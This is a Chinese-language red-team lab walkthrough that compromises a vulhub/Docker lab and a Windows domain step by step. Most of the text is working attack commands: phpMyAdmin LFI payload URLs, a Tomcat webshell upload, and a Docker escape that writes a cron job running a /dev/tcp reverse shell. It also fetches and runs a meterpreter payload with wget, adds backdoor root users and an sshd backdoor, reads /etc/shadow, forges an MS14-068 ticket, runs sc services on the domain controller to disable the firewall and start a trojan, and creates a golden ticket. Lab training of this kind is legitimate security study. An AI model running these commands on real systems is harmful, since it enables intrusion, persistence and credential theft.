ATT&CK实战系列-红队评估四

DC:192.168.183.130

Ubuntu:192.168.252.212 192.168.183.128

WIN7:192.168.183.129

首先我们启动机器ubuntu配置两块网卡,接着在ubuntu中开启漏洞环境

我们开启docker中的漏洞

cd ~/Desktop/vulhub/tomcat/CVE-2017-12615

cd ~/Desktop/vulhub/phpmyadmin/CVE-2018-12613

cd ~/Desktop/vulhub/struts2/s2-045

信息收集

首先我们对目标机器进行端口扫描

这里我们发现了三个端口并检测出了他们所对应的服务,我们分别进行访问

漏洞分析

struts2漏洞

我们根据端口扫描的信息和页面的路径的后缀,我们进行struts2漏洞测试

尝试进行命令执行

tomcat漏洞

我们在信息收集阶段我们已经知道2002端口是tomcat服务,我们测试tomcat漏洞,使用vulmap进行检测

我们利用CVE-2017-12615漏洞上传冰蝎马。

我们用冰蝎连接我们刚写入的马,接着尝试执行命令

phpmyadmin漏洞

我们访问2003端口的时候,我们发现存在phpmyadmin未授权访问,通过查看我们知道其版本是4.8.1

我们知道CVE-2018-12613漏洞的影响范围是4.8.0-4.8.1,接下来我们进行漏洞测试

http://192.168.252.212:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

任意命令执行漏洞

我们已将发现了文件包含漏洞,被包含的漏洞都会以php解析执行相应的命令,这里由于使用的是docker容器,站库分离无法成功测试

查看本地数据库路径,创建一个rce表,向表内插入php语句,包含执行

show global variables like "%datadir%";
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

包含session文件

进行session文件包含之前我们需要知道存放session临时文件的位置和session命令规则。

我们进入docker可以在tmp下查看到session

接着我们进行文件包含

http://192.168.252.212:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_7ae06b500e649dd46724cad5aa9c7e41

漏洞利用

docker逃逸

1.判断是否为docker环境

我们通过之前的漏洞已经拿到目标机器的shell了,接下来我们对已经拿到的shell机器进行信息收集,这里我们首先判断是不是docker环境

#查看.dockerenv文件,非docker环境一般不会有dockerenv文件,但如果dockerfile写的比较好的也有可能没有这个文件。
ls -alh /.dockerenv

#查询系统进程的cgroup信息
cat /proc/1/cgroup

2.挂载宿主机

当docker容器内拥有宿主机文件读写权限的时候,可以通过ssh密钥、计划任务等方式达到逃逸

#由于是特权模式启动的docker所以可以查看磁盘文件
fdisk -l
#新建目录以备挂载
mkdir /test
#将宿主机/dev/sha1 目录挂载至容器内 /test
mount /dev/sha1 /test
#即可写文件获取权限或数据

3.写入一个反弹shell的脚本

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.252.133/11235 0>&1"  >> /test/tmp/test.sh
或者
sed -i '$a\/bin/bash -i  >&  bash -i >& /dev/tcp/192.168.252.133/11235 0>&1' /test/tmp/test.sh

cat /test/tmp/test.sh

这里由于我们在冰蝎中向文件中输入内容失败,所以我们将shell返回到了msf上进行操作

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f elf > /tmp/shell1.elf
#在msf上监听,然后在冰蝎的命令行上执行就反弹到msf上了

4.写入计划任务

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

5.我们在kali上使用nc监听即可收到shell

nc -lvp 11235

其他逃逸方式参考:方式一方式二

权限提升

这里我们在计划任务中就以root权限返回shell了所以我们这里无需在进行提权,如果需要可以使用CVE-2021-3493提权

权限维持

普通root组用户

useradd test1 -g 0 -s /bin/bash
或
useradd -p `openssl passwd 123456`  -o -u 0 hacker

ssh软连接后门

软连后门需要root执行后门命令,任意密码登录

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=5547

参考连接参考连接

内网渗透

内网信息收集

执行ifconfig发现第二个网卡

我们将shell转到msf上,我们生成后门上传到获得shell的机器上,添加权限并执行

#这里我们将后门上传到vps上,下载到目标机器并执行
wget http://vps_ip/shell1.elf
chmod +x shell1.elf
./shell1.elf
#在我们执行后门之前我们需要在msf中进行监听

收到shell

信息收集

id                                          查看当前用户的权限和所在的管理组
uname -a                                    查看linux版本内核信息
cat /proc/version                           查看内核信息
cat /etc/*release                           查看linux发行信息
dpkg -l                                     查看安装的包
crontab -l                                  是否有计划任务
/sbin/ifconfig -a                           查看ip地址等
cat /etc/passwd                             普通用户可以查看用户的信息
cat /etc/shadow                             账号密码信息
cat /root/.mysql_history                     查看mysql历史操作
cat /root/.bash_history                     查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null        匹配高权限的文件,看是否有利用点

接着我们添加路由进行横向

用msf找到存活主机,最终发现129、130机器

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 10
run

在msf上配置代理

use use auxiliary/server/socks4a 
set srvhost 192.168.252.133
run

配置proxychains

mousepad /etc/proxychains.conf

接着使用nmap进行扫描

两个主机都开放了445端口,所以接着我们使用ms17-010模块进行扫描,发现两个主机都可以利用该漏洞

在我尝试了千万次之后终于成功了

域内信息收集

为了方便我们信息收集,我们先把权限降低为域用户

#窃取某个进程的权限
steal_token 2854
#恢复之前的权限
rev2self
#参考
https://www.cnblogs.com/liang2580/p/9147792.html

网卡信息,我们看到域为demoDNS为192.168.183.130(中途我暂停了虚拟机,win的ip变为了192.168.183.131)

域内机器

域用户列表

域管列表

横向移动

利用ms14-068攻击域控

获取域用户sid:

我们在ubuntu的历史记录中发现了账户密码

cat .bash_history

伪造生成票据

proxychains python ms14-068.py -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

上传mimikatz和票据到win7上,全部移动到C:下

upload /tmp/mimikatz.exe
upload /tmp/123/TGT_********
dir | find "mimikatz"
dir | find "TGT"
copy mimikatz.exe C:\
.....

导入票据

kerberos::purge
kerberos::ptc 票据名

访问域控

利用sc上线域控

sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall

msf生成bind木马

退回到system权限,并将后门上传到win7上,接着上传到域控机器上

rev2self
#上传后门到win7
upload /tmp/shell123.exe C:\\
#复制到域控上
copy shell123.exe \\WIN-ENS2VR5TR3N\c$

创建执行木马的服务

sc \\WIN-ENS2VR5TR3N create ma binpath= "c:\shell123.exe"
sc \\WIN-ENS2VR5TR3N start ma

msf收到会话

收到会话之后及时迁移进程

ps
migrate PID

dump所有hash

权限维持

load kiwi
kerberos_ticket_purge
golden_ticket_create -d demo.com -k 7c4ed692473d4b4344c3ba01c5e6cb63 -s S-1-5-21-979886063-1111900045-1414766810 -u Administrator -t /tmp/krbtgt.ticket
#-k 为krbtgt的hash -s domainSID -t 生成票据 -d 域
kerberos_ticket_use /tmp/krbtgt.ticket

这样我们就可以使用票据在普通域用户上获取域控权限

最后修改:2022 年 02 月 16 日
如果觉得我的文章对你有用,请随意赞赏